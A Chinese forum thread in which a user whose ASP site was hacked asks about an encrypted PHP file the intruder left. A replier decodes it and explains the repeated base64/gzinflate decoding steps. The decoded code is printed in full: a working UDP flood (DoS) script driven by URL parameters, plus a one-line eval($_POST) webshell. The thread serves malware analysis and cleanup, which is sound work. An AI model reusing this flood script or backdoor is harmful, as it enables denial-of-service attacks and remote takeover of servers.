asp网站被人入侵,留了这样一个php加密代码文件,求解决
首先说下1楼的,你不经大脑就回答,简直就是占地方
楼主,我帮你解密出来了:
><?php$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
><?php eval($_POST[ddos])?>
<?
解密过程:
decode.php
<?php
ob_start();
echo (gzinflate(base64_decode('加密内容')));
$file = ob_get_clean();
file_put_contents("a.txt",$file);
>1、第一次运行,会在decode.php同目录下生成一个a.txt,里面的内容就是解密出来的(但不一定是最终结果)
2、当a.txt里的代码还不是最初密文的源码时,再次把a.txt里的“加密内容”拷到decode.php替换掉原来的加密内容
循环1、2两步,直到a.txt解密出源码,显示的代码是php代码,如上
源码验证是否正确,只要你看得懂没解密前运行时网页上显示错误的信息,即可对比真实与否